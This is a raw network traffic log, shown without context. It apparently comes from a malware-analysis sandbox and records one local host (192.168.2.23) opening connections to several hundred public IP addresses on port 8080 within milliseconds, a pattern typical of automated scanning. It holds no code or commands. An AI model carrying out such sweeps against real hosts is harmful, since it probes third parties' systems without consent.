Dec 26, 2023 21:22:45.128823042 CET	45469	8080	192.168.2.23	31.241.63.100
Dec 26, 2023 21:22:45.128825903 CET	45469	8080	192.168.2.23	95.93.215.110
Dec 26, 2023 21:22:45.128840923 CET	45469	8080	192.168.2.23	94.87.246.166
Dec 26, 2023 21:22:45.128859997 CET	45469	8080	192.168.2.23	31.110.63.142
Dec 26, 2023 21:22:45.128870964 CET	45469	8080	192.168.2.23	94.30.218.128
Dec 26, 2023 21:22:45.128874063 CET	45469	8080	192.168.2.23	31.117.78.75
Dec 26, 2023 21:22:45.128880978 CET	45469	8080	192.168.2.23	62.176.230.36
Dec 26, 2023 21:22:45.128892899 CET	45469	8080	192.168.2.23	94.171.237.130
Dec 26, 2023 21:22:45.128892899 CET	45469	8080	192.168.2.23	31.123.246.150
Dec 26, 2023 21:22:45.128916979 CET	45469	8080	192.168.2.23	95.133.247.142
Dec 26, 2023 21:22:45.128920078 CET	45469	8080	192.168.2.23	31.23.93.33
Dec 26, 2023 21:22:45.128928900 CET	45469	8080	192.168.2.23	62.55.44.19
Dec 26, 2023 21:22:45.128952026 CET	45469	8080	192.168.2.23	95.112.183.68
Dec 26, 2023 21:22:45.128952026 CET	45469	8080	192.168.2.23	85.254.55.57
Dec 26, 2023 21:22:45.128962040 CET	45469	8080	192.168.2.23	31.5.168.148
Dec 26, 2023 21:22:45.128966093 CET	45469	8080	192.168.2.23	62.58.171.191
Dec 26, 2023 21:22:45.128971100 CET	45469	8080	192.168.2.23	95.236.238.234
Dec 26, 2023 21:22:45.128976107 CET	45469	8080	192.168.2.23	85.228.171.29
Dec 26, 2023 21:22:45.128992081 CET	45469	8080	192.168.2.23	62.208.85.25
Dec 26, 2023 21:22:45.128995895 CET	45469	8080	192.168.2.23	95.109.23.186
Dec 26, 2023 21:22:45.129014015 CET	45469	8080	192.168.2.23	62.46.230.136
Dec 26, 2023 21:22:45.129014969 CET	45469	8080	192.168.2.23	85.77.181.137
Dec 26, 2023 21:22:45.129029989 CET	45469	8080	192.168.2.23	85.171.194.117
Dec 26, 2023 21:22:45.129029989 CET	45469	8080	192.168.2.23	94.95.4.205
Dec 26, 2023 21:22:45.129033089 CET	45469	8080	192.168.2.23	31.103.33.128
Dec 26, 2023 21:22:45.129033089 CET	45469	8080	192.168.2.23	62.251.112.211
Dec 26, 2023 21:22:45.129039049 CET	45469	8080	192.168.2.23	94.191.219.115
Dec 26, 2023 21:22:45.129061937 CET	45469	8080	192.168.2.23	31.161.252.184
Dec 26, 2023 21:22:45.129062891 CET	45469	8080	192.168.2.23	94.63.93.10
Dec 26, 2023 21:22:45.129070044 CET	45469	8080	192.168.2.23	31.233.37.128
Dec 26, 2023 21:22:45.129070044 CET	45469	8080	192.168.2.23	62.76.229.26
Dec 26, 2023 21:22:45.129082918 CET	45469	8080	192.168.2.23	62.164.54.27
Dec 26, 2023 21:22:45.129082918 CET	45469	8080	192.168.2.23	95.236.62.82
Dec 26, 2023 21:22:45.129093885 CET	45469	8080	192.168.2.23	31.120.176.70
Dec 26, 2023 21:22:45.129113913 CET	45469	8080	192.168.2.23	85.208.51.199
Dec 26, 2023 21:22:45.129116058 CET	45469	8080	192.168.2.23	95.160.221.139
Dec 26, 2023 21:22:45.129129887 CET	45469	8080	192.168.2.23	62.137.235.198
Dec 26, 2023 21:22:45.129134893 CET	45469	8080	192.168.2.23	94.145.254.163
Dec 26, 2023 21:22:45.129137993 CET	45469	8080	192.168.2.23	85.60.223.141
Dec 26, 2023 21:22:45.129153967 CET	45469	8080	192.168.2.23	95.189.177.26
Dec 26, 2023 21:22:45.129163980 CET	45469	8080	192.168.2.23	62.105.24.99
Dec 26, 2023 21:22:45.129179001 CET	45469	8080	192.168.2.23	95.216.80.53
Dec 26, 2023 21:22:45.129180908 CET	45469	8080	192.168.2.23	31.189.181.106
Dec 26, 2023 21:22:45.129190922 CET	45469	8080	192.168.2.23	85.218.252.5
Dec 26, 2023 21:22:45.129199028 CET	45469	8080	192.168.2.23	85.244.230.27
Dec 26, 2023 21:22:45.129205942 CET	45469	8080	192.168.2.23	85.102.23.167
Dec 26, 2023 21:22:45.129224062 CET	45469	8080	192.168.2.23	31.183.218.35
Dec 26, 2023 21:22:45.129229069 CET	45469	8080	192.168.2.23	85.150.100.195
Dec 26, 2023 21:22:45.129240990 CET	45469	8080	192.168.2.23	95.118.156.145
Dec 26, 2023 21:22:45.129245996 CET	45469	8080	192.168.2.23	95.94.106.101
Dec 26, 2023 21:22:45.129255056 CET	45469	8080	192.168.2.23	31.124.36.36
Dec 26, 2023 21:22:45.129259109 CET	45469	8080	192.168.2.23	85.90.188.105
Dec 26, 2023 21:22:45.129264116 CET	45469	8080	192.168.2.23	94.41.231.201
Dec 26, 2023 21:22:45.129275084 CET	45469	8080	192.168.2.23	85.224.175.189
Dec 26, 2023 21:22:45.129281998 CET	45469	8080	192.168.2.23	95.99.59.150
Dec 26, 2023 21:22:45.129282951 CET	45469	8080	192.168.2.23	31.188.42.62
Dec 26, 2023 21:22:45.129291058 CET	45469	8080	192.168.2.23	31.17.110.61
Dec 26, 2023 21:22:45.129304886 CET	45469	8080	192.168.2.23	85.219.104.185
Dec 26, 2023 21:22:45.129319906 CET	45469	8080	192.168.2.23	31.176.202.168
Dec 26, 2023 21:22:45.129326105 CET	45469	8080	192.168.2.23	85.46.236.199
Dec 26, 2023 21:22:45.129337072 CET	45469	8080	192.168.2.23	62.107.156.203
Dec 26, 2023 21:22:45.129343033 CET	45469	8080	192.168.2.23	62.32.150.150
Dec 26, 2023 21:22:45.129354954 CET	45469	8080	192.168.2.23	62.71.97.119
Dec 26, 2023 21:22:45.129359007 CET	45469	8080	192.168.2.23	62.67.116.100
Dec 26, 2023 21:22:45.129363060 CET	45469	8080	192.168.2.23	95.250.126.234
Dec 26, 2023 21:22:45.129374027 CET	45469	8080	192.168.2.23	31.198.170.113
Dec 26, 2023 21:22:45.129388094 CET	45469	8080	192.168.2.23	94.72.20.64
Dec 26, 2023 21:22:45.129401922 CET	45469	8080	192.168.2.23	85.173.188.204
Dec 26, 2023 21:22:45.129414082 CET	45469	8080	192.168.2.23	85.123.77.38
Dec 26, 2023 21:22:45.129427910 CET	45469	8080	192.168.2.23	62.34.43.197
Dec 26, 2023 21:22:45.129436970 CET	45469	8080	192.168.2.23	85.34.105.184
Dec 26, 2023 21:22:45.129446983 CET	45469	8080	192.168.2.23	94.45.247.126
Dec 26, 2023 21:22:45.129448891 CET	45469	8080	192.168.2.23	62.194.99.210
Dec 26, 2023 21:22:45.129466057 CET	45469	8080	192.168.2.23	62.88.241.37
Dec 26, 2023 21:22:45.129468918 CET	45469	8080	192.168.2.23	94.43.210.194
Dec 26, 2023 21:22:45.129468918 CET	45469	8080	192.168.2.23	31.82.179.92
Dec 26, 2023 21:22:45.129492044 CET	45469	8080	192.168.2.23	31.246.23.177
Dec 26, 2023 21:22:45.129502058 CET	45469	8080	192.168.2.23	31.76.236.252
Dec 26, 2023 21:22:45.129503965 CET	45469	8080	192.168.2.23	31.2.47.16
Dec 26, 2023 21:22:45.129508972 CET	45469	8080	192.168.2.23	31.78.150.174
Dec 26, 2023 21:22:45.129518986 CET	45469	8080	192.168.2.23	95.145.131.134
Dec 26, 2023 21:22:45.129518986 CET	45469	8080	192.168.2.23	62.85.241.130
Dec 26, 2023 21:22:45.129527092 CET	45469	8080	192.168.2.23	62.67.131.45
Dec 26, 2023 21:22:45.129534006 CET	45469	8080	192.168.2.23	94.184.207.208
Dec 26, 2023 21:22:45.129551888 CET	45469	8080	192.168.2.23	94.50.102.220
Dec 26, 2023 21:22:45.129551888 CET	45469	8080	192.168.2.23	31.218.13.125
Dec 26, 2023 21:22:45.129565954 CET	45469	8080	192.168.2.23	31.86.153.39
Dec 26, 2023 21:22:45.129571915 CET	45469	8080	192.168.2.23	95.89.46.143
Dec 26, 2023 21:22:45.129579067 CET	45469	8080	192.168.2.23	62.109.45.174
Dec 26, 2023 21:22:45.129590988 CET	45469	8080	192.168.2.23	94.50.226.201
Dec 26, 2023 21:22:45.129599094 CET	45469	8080	192.168.2.23	31.83.17.53
Dec 26, 2023 21:22:45.129612923 CET	45469	8080	192.168.2.23	85.114.164.87
Dec 26, 2023 21:22:45.129612923 CET	45469	8080	192.168.2.23	95.206.234.82
Dec 26, 2023 21:22:45.129628897 CET	45469	8080	192.168.2.23	94.227.221.43
Dec 26, 2023 21:22:45.129632950 CET	45469	8080	192.168.2.23	62.251.74.81
Dec 26, 2023 21:22:45.129642963 CET	45469	8080	192.168.2.23	95.219.130.65
Dec 26, 2023 21:22:45.129651070 CET	45469	8080	192.168.2.23	31.64.181.90
Dec 26, 2023 21:22:45.129656076 CET	45469	8080	192.168.2.23	95.89.75.128
Dec 26, 2023 21:22:45.129657030 CET	45469	8080	192.168.2.23	85.179.159.246
Dec 26, 2023 21:22:45.129659891 CET	45469	8080	192.168.2.23	31.60.235.175
Dec 26, 2023 21:22:45.129669905 CET	45469	8080	192.168.2.23	62.147.196.229
Dec 26, 2023 21:22:45.129673004 CET	45469	8080	192.168.2.23	85.51.243.70
Dec 26, 2023 21:22:45.129673958 CET	45469	8080	192.168.2.23	95.186.90.10
Dec 26, 2023 21:22:45.129689932 CET	45469	8080	192.168.2.23	85.235.212.73
Dec 26, 2023 21:22:45.129704952 CET	45469	8080	192.168.2.23	31.141.29.87
Dec 26, 2023 21:22:45.129719973 CET	45469	8080	192.168.2.23	85.160.237.43
Dec 26, 2023 21:22:45.129723072 CET	45469	8080	192.168.2.23	62.44.109.70
Dec 26, 2023 21:22:45.129728079 CET	45469	8080	192.168.2.23	85.27.136.172
Dec 26, 2023 21:22:45.129739046 CET	45469	8080	192.168.2.23	85.156.62.174
Dec 26, 2023 21:22:45.129741907 CET	45469	8080	192.168.2.23	95.12.205.99
Dec 26, 2023 21:22:45.129745007 CET	45469	8080	192.168.2.23	85.249.137.102
Dec 26, 2023 21:22:45.129759073 CET	45469	8080	192.168.2.23	31.201.36.135
Dec 26, 2023 21:22:45.129771948 CET	45469	8080	192.168.2.23	94.156.162.241
Dec 26, 2023 21:22:45.129781008 CET	45469	8080	192.168.2.23	31.233.254.219
Dec 26, 2023 21:22:45.129787922 CET	45469	8080	192.168.2.23	31.39.101.188
Dec 26, 2023 21:22:45.129787922 CET	45469	8080	192.168.2.23	31.91.240.91
Dec 26, 2023 21:22:45.129801989 CET	45469	8080	192.168.2.23	85.62.139.19
Dec 26, 2023 21:22:45.129810095 CET	45469	8080	192.168.2.23	85.155.216.225
Dec 26, 2023 21:22:45.129817009 CET	45469	8080	192.168.2.23	94.70.96.178
Dec 26, 2023 21:22:45.129817009 CET	45469	8080	192.168.2.23	94.239.244.58
Dec 26, 2023 21:22:45.129828930 CET	45469	8080	192.168.2.23	62.234.212.235
Dec 26, 2023 21:22:45.129848003 CET	45469	8080	192.168.2.23	94.170.194.125
Dec 26, 2023 21:22:45.129848957 CET	45469	8080	192.168.2.23	94.173.187.193
Dec 26, 2023 21:22:45.129848957 CET	45469	8080	192.168.2.23	85.73.134.99
Dec 26, 2023 21:22:45.129864931 CET	45469	8080	192.168.2.23	94.215.7.64
Dec 26, 2023 21:22:45.129874945 CET	45469	8080	192.168.2.23	95.240.37.18
Dec 26, 2023 21:22:45.129893064 CET	45469	8080	192.168.2.23	31.79.203.142
Dec 26, 2023 21:22:45.129894972 CET	45469	8080	192.168.2.23	94.244.161.170
Dec 26, 2023 21:22:45.129897118 CET	45469	8080	192.168.2.23	95.20.152.136
Dec 26, 2023 21:22:45.129906893 CET	45469	8080	192.168.2.23	62.254.63.1
Dec 26, 2023 21:22:45.129915953 CET	45469	8080	192.168.2.23	85.253.168.37
Dec 26, 2023 21:22:45.129924059 CET	45469	8080	192.168.2.23	85.182.133.149
Dec 26, 2023 21:22:45.129936934 CET	45469	8080	192.168.2.23	31.138.113.81
Dec 26, 2023 21:22:45.129942894 CET	45469	8080	192.168.2.23	95.24.19.4
Dec 26, 2023 21:22:45.129945040 CET	45469	8080	192.168.2.23	94.192.235.7
Dec 26, 2023 21:22:45.129950047 CET	45469	8080	192.168.2.23	85.57.195.6
Dec 26, 2023 21:22:45.129956961 CET	45469	8080	192.168.2.23	95.155.69.223
Dec 26, 2023 21:22:45.129965067 CET	45469	8080	192.168.2.23	62.30.211.73
Dec 26, 2023 21:22:45.129975080 CET	45469	8080	192.168.2.23	94.143.113.182
Dec 26, 2023 21:22:45.129987001 CET	45469	8080	192.168.2.23	31.68.92.45
Dec 26, 2023 21:22:45.130004883 CET	45469	8080	192.168.2.23	31.170.128.134
Dec 26, 2023 21:22:45.130017042 CET	45469	8080	192.168.2.23	85.41.166.200
Dec 26, 2023 21:22:45.130017042 CET	45469	8080	192.168.2.23	85.220.187.125
Dec 26, 2023 21:22:45.130034924 CET	45469	8080	192.168.2.23	85.152.91.4
Dec 26, 2023 21:22:45.130039930 CET	45469	8080	192.168.2.23	31.35.233.169
Dec 26, 2023 21:22:45.130062103 CET	45469	8080	192.168.2.23	95.140.233.209
Dec 26, 2023 21:22:45.130067110 CET	45469	8080	192.168.2.23	62.62.33.218
Dec 26, 2023 21:22:45.130085945 CET	45469	8080	192.168.2.23	62.7.217.202
Dec 26, 2023 21:22:45.130093098 CET	45469	8080	192.168.2.23	85.33.155.91
Dec 26, 2023 21:22:45.130095959 CET	45469	8080	192.168.2.23	31.230.46.236
Dec 26, 2023 21:22:45.130095959 CET	45469	8080	192.168.2.23	62.198.20.79
Dec 26, 2023 21:22:45.130096912 CET	45469	8080	192.168.2.23	31.50.17.127
Dec 26, 2023 21:22:45.130096912 CET	45469	8080	192.168.2.23	85.17.137.213
Dec 26, 2023 21:22:45.130105972 CET	45469	8080	192.168.2.23	62.117.24.72
Dec 26, 2023 21:22:45.130105972 CET	45469	8080	192.168.2.23	94.17.204.24
Dec 26, 2023 21:22:45.130116940 CET	45469	8080	192.168.2.23	85.114.112.144
Dec 26, 2023 21:22:45.130126953 CET	45469	8080	192.168.2.23	85.19.148.205
Dec 26, 2023 21:22:45.130136013 CET	45469	8080	192.168.2.23	94.27.138.181
Dec 26, 2023 21:22:45.130139112 CET	45469	8080	192.168.2.23	62.49.78.79
Dec 26, 2023 21:22:45.130147934 CET	45469	8080	192.168.2.23	31.177.220.119
Dec 26, 2023 21:22:45.130152941 CET	45469	8080	192.168.2.23	95.13.171.250
Dec 26, 2023 21:22:45.130161047 CET	45469	8080	192.168.2.23	94.114.191.5
Dec 26, 2023 21:22:45.130173922 CET	45469	8080	192.168.2.23	95.215.131.224
Dec 26, 2023 21:22:45.130177021 CET	45469	8080	192.168.2.23	94.147.90.113
Dec 26, 2023 21:22:45.130177021 CET	45469	8080	192.168.2.23	85.145.101.200
Dec 26, 2023 21:22:45.130184889 CET	45469	8080	192.168.2.23	95.73.164.159
Dec 26, 2023 21:22:45.130198002 CET	45469	8080	192.168.2.23	85.60.160.90
Dec 26, 2023 21:22:45.130202055 CET	45469	8080	192.168.2.23	85.200.46.234
Dec 26, 2023 21:22:45.130213022 CET	45469	8080	192.168.2.23	62.210.82.89
Dec 26, 2023 21:22:45.130220890 CET	45469	8080	192.168.2.23	31.114.14.111
Dec 26, 2023 21:22:45.130228996 CET	45469	8080	192.168.2.23	95.67.246.251
Dec 26, 2023 21:22:45.130235910 CET	45469	8080	192.168.2.23	95.93.72.217
Dec 26, 2023 21:22:45.130247116 CET	45469	8080	192.168.2.23	62.178.80.77
Dec 26, 2023 21:22:45.130253077 CET	45469	8080	192.168.2.23	31.36.63.74
Dec 26, 2023 21:22:45.130264044 CET	45469	8080	192.168.2.23	31.148.2.21
Dec 26, 2023 21:22:45.130271912 CET	45469	8080	192.168.2.23	94.164.6.112
Dec 26, 2023 21:22:45.130275965 CET	45469	8080	192.168.2.23	31.46.13.209
Dec 26, 2023 21:22:45.130275965 CET	45469	8080	192.168.2.23	62.14.233.44
Dec 26, 2023 21:22:45.130306005 CET	45469	8080	192.168.2.23	31.223.246.18
Dec 26, 2023 21:22:45.130309105 CET	45469	8080	192.168.2.23	85.213.240.126
Dec 26, 2023 21:22:45.130321980 CET	45469	8080	192.168.2.23	95.150.3.108
Dec 26, 2023 21:22:45.130333900 CET	45469	8080	192.168.2.23	62.195.152.173
Dec 26, 2023 21:22:45.130342960 CET	45469	8080	192.168.2.23	31.9.190.71
Dec 26, 2023 21:22:45.130348921 CET	45469	8080	192.168.2.23	85.249.202.85
Dec 26, 2023 21:22:45.130359888 CET	45469	8080	192.168.2.23	31.14.131.54
Dec 26, 2023 21:22:45.130373955 CET	45469	8080	192.168.2.23	94.88.95.179
Dec 26, 2023 21:22:45.130373955 CET	45469	8080	192.168.2.23	95.99.75.32
Dec 26, 2023 21:22:45.130374908 CET	45469	8080	192.168.2.23	94.66.219.119
Dec 26, 2023 21:22:45.130386114 CET	45469	8080	192.168.2.23	94.206.162.235
Dec 26, 2023 21:22:45.130402088 CET	45469	8080	192.168.2.23	31.193.26.96
Dec 26, 2023 21:22:45.130402088 CET	45469	8080	192.168.2.23	31.249.171.138
Dec 26, 2023 21:22:45.130410910 CET	45469	8080	192.168.2.23	95.102.97.149
Dec 26, 2023 21:22:45.130430937 CET	45469	8080	192.168.2.23	31.18.26.50
Dec 26, 2023 21:22:45.130430937 CET	45469	8080	192.168.2.23	31.4.147.179
Dec 26, 2023 21:22:45.130449057 CET	45469	8080	192.168.2.23	85.120.208.12
Dec 26, 2023 21:22:45.130449057 CET	45469	8080	192.168.2.23	95.250.249.158
Dec 26, 2023 21:22:45.130470991 CET	45469	8080	192.168.2.23	31.150.187.101
Dec 26, 2023 21:22:45.130472898 CET	45469	8080	192.168.2.23	94.141.200.33
Dec 26, 2023 21:22:45.130486965 CET	45469	8080	192.168.2.23	31.167.182.166
Dec 26, 2023 21:22:45.130497932 CET	45469	8080	192.168.2.23	95.179.134.28
Dec 26, 2023 21:22:45.130508900 CET	45469	8080	192.168.2.23	31.34.167.247
Dec 26, 2023 21:22:45.130511999 CET	45469	8080	192.168.2.23	94.75.218.95
Dec 26, 2023 21:22:45.130527020 CET	45469	8080	192.168.2.23	31.140.34.73
Dec 26, 2023 21:22:45.130542040 CET	45469	8080	192.168.2.23	62.97.218.204
Dec 26, 2023 21:22:45.130548000 CET	45469	8080	192.168.2.23	85.228.79.218
Dec 26, 2023 21:22:45.130548000 CET	45469	8080	192.168.2.23	62.161.183.157
Dec 26, 2023 21:22:45.130556107 CET	45469	8080	192.168.2.23	62.173.120.48
Dec 26, 2023 21:22:45.130563974 CET	45469	8080	192.168.2.23	62.235.60.194
Dec 26, 2023 21:22:45.130568027 CET	45469	8080	192.168.2.23	31.186.224.1
Dec 26, 2023 21:22:45.130573988 CET	45469	8080	192.168.2.23	95.165.71.237
Dec 26, 2023 21:22:45.130578041 CET	45469	8080	192.168.2.23	95.147.84.57
Dec 26, 2023 21:22:45.130578995 CET	45469	8080	192.168.2.23	31.173.203.9
Dec 26, 2023 21:22:45.130589962 CET	45469	8080	192.168.2.23	62.192.183.162
Dec 26, 2023 21:22:45.130589962 CET	45469	8080	192.168.2.23	94.97.170.152
Dec 26, 2023 21:22:45.130598068 CET	45469	8080	192.168.2.23	62.103.32.163
Dec 26, 2023 21:22:45.130601883 CET	45469	8080	192.168.2.23	94.6.232.12
Dec 26, 2023 21:22:45.130615950 CET	45469	8080	192.168.2.23	31.24.188.169
Dec 26, 2023 21:22:45.130621910 CET	45469	8080	192.168.2.23	85.250.145.62
Dec 26, 2023 21:22:45.130635023 CET	45469	8080	192.168.2.23	94.140.9.204
Dec 26, 2023 21:22:45.130640030 CET	45469	8080	192.168.2.23	31.113.243.101
Dec 26, 2023 21:22:45.130644083 CET	45469	8080	192.168.2.23	62.150.153.202
Dec 26, 2023 21:22:45.130644083 CET	45469	8080	192.168.2.23	85.94.182.10
Dec 26, 2023 21:22:45.130659103 CET	45469	8080	192.168.2.23	95.70.93.181
Dec 26, 2023 21:22:45.130659103 CET	45469	8080	192.168.2.23	95.33.183.255
Dec 26, 2023 21:22:45.130678892 CET	45469	8080	192.168.2.23	62.244.247.13
Dec 26, 2023 21:22:45.130681992 CET	45469	8080	192.168.2.23	85.204.186.123
Dec 26, 2023 21:22:45.130692005 CET	45469	8080	192.168.2.23	85.52.78.169
Dec 26, 2023 21:22:45.130707026 CET	45469	8080	192.168.2.23	95.244.241.3
Dec 26, 2023 21:22:45.130709887 CET	45469	8080	192.168.2.23	85.185.143.144
Dec 26, 2023 21:22:45.130718946 CET	45469	8080	192.168.2.23	62.111.27.9
Dec 26, 2023 21:22:45.130724907 CET	45469	8080	192.168.2.23	85.216.160.175
Dec 26, 2023 21:22:45.130737066 CET	45469	8080	192.168.2.23	85.70.142.69
Dec 26, 2023 21:22:45.130744934 CET	45469	8080	192.168.2.23	95.94.133.216
Dec 26, 2023 21:22:45.130744934 CET	45469	8080	192.168.2.23	31.96.90.170
Dec 26, 2023 21:22:45.130759954 CET	45469	8080	192.168.2.23	94.135.237.18
Dec 26, 2023 21:22:45.130759954 CET	45469	8080	192.168.2.23	62.110.99.125
Dec 26, 2023 21:22:45.130772114 CET	45469	8080	192.168.2.23	85.225.7.37
Dec 26, 2023 21:22:45.130786896 CET	45469	8080	192.168.2.23	94.248.210.102
Dec 26, 2023 21:22:45.130786896 CET	45469	8080	192.168.2.23	95.236.15.221
Dec 26, 2023 21:22:45.130810976 CET	45469	8080	192.168.2.23	85.41.172.128
Dec 26, 2023 21:22:45.130815983 CET	45469	8080	192.168.2.23	85.227.183.136
Dec 26, 2023 21:22:45.130825996 CET	45469	8080	192.168.2.23	95.165.146.99
Dec 26, 2023 21:22:45.130844116 CET	45469	8080	192.168.2.23	95.132.88.175
Dec 26, 2023 21:22:45.130856991 CET	45469	8080	192.168.2.23	94.172.98.172
Dec 26, 2023 21:22:45.130872011 CET	45469	8080	192.168.2.23	94.120.112.126
Dec 26, 2023 21:22:45.130875111 CET	45469	8080	192.168.2.23	31.165.77.207
Dec 26, 2023 21:22:45.130880117 CET	45469	8080	192.168.2.23	95.215.91.20
Dec 26, 2023 21:22:45.130883932 CET	45469	8080	192.168.2.23	95.73.199.126
Dec 26, 2023 21:22:45.130883932 CET	45469	8080	192.168.2.23	62.131.115.206
Dec 26, 2023 21:22:45.130903006 CET	45469	8080	192.168.2.23	95.99.113.68
Dec 26, 2023 21:22:45.130918026 CET	45469	8080	192.168.2.23	31.62.120.44
Dec 26, 2023 21:22:45.130935907 CET	45469	8080	192.168.2.23	31.3.215.65
Dec 26, 2023 21:22:45.130937099 CET	45469	8080	192.168.2.23	94.191.219.181
Dec 26, 2023 21:22:45.130949974 CET	45469	8080	192.168.2.23	94.73.105.121
Dec 26, 2023 21:22:45.130954981 CET	45469	8080	192.168.2.23	31.20.37.136
Dec 26, 2023 21:22:45.130961895 CET	45469	8080	192.168.2.23	62.88.124.206
Dec 26, 2023 21:22:45.130979061 CET	45469	8080	192.168.2.23	62.13.6.227
Dec 26, 2023 21:22:45.130992889 CET	45469	8080	192.168.2.23	62.234.139.79
Dec 26, 2023 21:22:45.131006956 CET	45469	8080	192.168.2.23	31.29.233.200
Dec 26, 2023 21:22:45.131007910 CET	45469	8080	192.168.2.23	95.216.83.80
Dec 26, 2023 21:22:45.131015062 CET	45469	8080	192.168.2.23	95.9.149.72
Dec 26, 2023 21:22:45.131022930 CET	45469	8080	192.168.2.23	62.232.88.5
Dec 26, 2023 21:22:45.131032944 CET	45469	8080	192.168.2.23	31.154.57.166
Dec 26, 2023 21:22:45.131045103 CET	45469	8080	192.168.2.23	31.91.1.216
Dec 26, 2023 21:22:45.131062984 CET	45469	8080	192.168.2.23	85.88.161.170
Dec 26, 2023 21:22:45.131068945 CET	45469	8080	192.168.2.23	85.157.119.99
Dec 26, 2023 21:22:45.131072998 CET	45469	8080	192.168.2.23	94.196.233.54
Dec 26, 2023 21:22:45.131081104 CET	45469	8080	192.168.2.23	94.150.182.125
Dec 26, 2023 21:22:45.131093979 CET	45469	8080	192.168.2.23	31.92.45.60
Dec 26, 2023 21:22:45.131098032 CET	45469	8080	192.168.2.23	31.236.216.235
Dec 26, 2023 21:22:45.131110907 CET	45469	8080	192.168.2.23	62.159.11.49
Dec 26, 2023 21:22:45.131119013 CET	45469	8080	192.168.2.23	62.182.70.63
Dec 26, 2023 21:22:45.131119013 CET	45469	8080	192.168.2.23	31.237.121.240
Dec 26, 2023 21:22:45.131127119 CET	45469	8080	192.168.2.23	94.32.87.101
Dec 26, 2023 21:22:45.131138086 CET	45469	8080	192.168.2.23	85.6.238.201
Dec 26, 2023 21:22:45.131151915 CET	45469	8080	192.168.2.23	95.231.16.5
Dec 26, 2023 21:22:45.131167889 CET	45469	8080	192.168.2.23	31.148.103.85
Dec 26, 2023 21:22:45.131171942 CET	45469	8080	192.168.2.23	31.150.203.207
Dec 26, 2023 21:22:45.131181002 CET	45469	8080	192.168.2.23	95.20.135.105
Dec 26, 2023 21:22:45.131185055 CET	45469	8080	192.168.2.23	95.28.203.187
Dec 26, 2023 21:22:45.131194115 CET	45469	8080	192.168.2.23	31.20.90.78
Dec 26, 2023 21:22:45.131201029 CET	45469	8080	192.168.2.23	31.137.172.178
Dec 26, 2023 21:22:45.131206989 CET	45469	8080	192.168.2.23	85.248.203.38
Dec 26, 2023 21:22:45.131210089 CET	45469	8080	192.168.2.23	31.19.147.2
Dec 26, 2023 21:22:45.131215096 CET	45469	8080	192.168.2.23	94.199.250.129
Dec 26, 2023 21:22:45.131223917 CET	45469	8080	192.168.2.23	85.142.221.156
Dec 26, 2023 21:22:45.131227970 CET	45469	8080	192.168.2.23	62.75.32.126
Dec 26, 2023 21:22:45.131233931 CET	45469	8080	192.168.2.23	62.102.60.83
Dec 26, 2023 21:22:45.131249905 CET	45469	8080	192.168.2.23	95.37.58.172
Dec 26, 2023 21:22:45.131262064 CET	45469	8080	192.168.2.23	94.101.1.37
Dec 26, 2023 21:22:45.131273985 CET	45469	8080	192.168.2.23	85.74.146.84
Dec 26, 2023 21:22:45.131277084 CET	45469	8080	192.168.2.23	95.225.251.41
Dec 26, 2023 21:22:45.131279945 CET	45469	8080	192.168.2.23	95.255.0.54
Dec 26, 2023 21:22:45.131294966 CET	45469	8080	192.168.2.23	95.24.247.38
Dec 26, 2023 21:22:45.131294966 CET	45469	8080	192.168.2.23	94.121.99.207
Dec 26, 2023 21:22:45.131303072 CET	45469	8080	192.168.2.23	31.214.63.4
Dec 26, 2023 21:22:45.131320000 CET	45469	8080	192.168.2.23	85.164.142.90
Dec 26, 2023 21:22:45.131331921 CET	45469	8080	192.168.2.23	31.151.82.156
Dec 26, 2023 21:22:45.131349087 CET	45469	8080	192.168.2.23	85.56.115.201
Dec 26, 2023 21:22:45.131356001 CET	45469	8080	192.168.2.23	31.237.90.129
Dec 26, 2023 21:22:45.131362915 CET	45469	8080	192.168.2.23	94.185.8.162
Dec 26, 2023 21:22:45.131362915 CET	45469	8080	192.168.2.23	62.83.84.140
Dec 26, 2023 21:22:45.131375074 CET	45469	8080	192.168.2.23	94.236.198.161
Dec 26, 2023 21:22:45.131392002 CET	45469	8080	192.168.2.23	31.197.2.62
Dec 26, 2023 21:22:45.131407022 CET	45469	8080	192.168.2.23	85.202.168.95
Dec 26, 2023 21:22:45.131408930 CET	45469	8080	192.168.2.23	62.106.218.242
Dec 26, 2023 21:22:45.131408930 CET	45469	8080	192.168.2.23	31.47.191.101
Dec 26, 2023 21:22:45.131421089 CET	45469	8080	192.168.2.23	94.117.11.110
Dec 26, 2023 21:22:45.131437063 CET	45469	8080	192.168.2.23	95.53.217.8
Dec 26, 2023 21:22:45.131449938 CET	45469	8080	192.168.2.23	31.186.73.23
Dec 26, 2023 21:22:45.131460905 CET	45469	8080	192.168.2.23	95.4.68.118
Dec 26, 2023 21:22:45.131469965 CET	45469	8080	192.168.2.23	95.175.192.224
Dec 26, 2023 21:22:45.131490946 CET	45469	8080	192.168.2.23	94.154.101.184
Dec 26, 2023 21:22:45.131494045 CET	45469	8080	192.168.2.23	94.58.130.207
Dec 26, 2023 21:22:45.131501913 CET	45469	8080	192.168.2.23	31.250.27.17
Dec 26, 2023 21:22:45.131510019 CET	45469	8080	192.168.2.23	94.38.88.126
Dec 26, 2023 21:22:45.131520033 CET	45469	8080	192.168.2.23	62.215.247.244
Dec 26, 2023 21:22:45.131530046 CET	45469	8080	192.168.2.23	94.121.218.149
Dec 26, 2023 21:22:45.131531000 CET	45469	8080	192.168.2.23	62.169.153.162
Dec 26, 2023 21:22:45.131539106 CET	45469	8080	192.168.2.23	62.53.163.189
Dec 26, 2023 21:22:45.131541014 CET	45469	8080	192.168.2.23	94.190.75.11
Dec 26, 2023 21:22:45.131555080 CET	45469	8080	192.168.2.23	95.195.7.189
Dec 26, 2023 21:22:45.131561995 CET	45469	8080	192.168.2.23	85.54.43.34
Dec 26, 2023 21:22:45.131562948 CET	45469	8080	192.168.2.23	95.10.87.155
Dec 26, 2023 21:22:45.131572962 CET	45469	8080	192.168.2.23	95.107.124.125
Dec 26, 2023 21:22:45.131592035 CET	45469	8080	192.168.2.23	62.172.132.62
Dec 26, 2023 21:22:45.131592989 CET	45469	8080	192.168.2.23	31.216.165.194
Dec 26, 2023 21:22:45.131592989 CET	45469	8080	192.168.2.23	95.111.25.250
Dec 26, 2023 21:22:45.131592989 CET	45469	8080	192.168.2.23	62.220.228.97
Dec 26, 2023 21:22:45.131609917 CET	45469	8080	192.168.2.23	31.238.38.27
Dec 26, 2023 21:22:45.131622076 CET	45469	8080	192.168.2.23	94.201.73.122
Dec 26, 2023 21:22:45.131630898 CET	45469	8080	192.168.2.23	62.41.179.121
Dec 26, 2023 21:22:45.131630898 CET	45469	8080	192.168.2.23	94.61.161.29
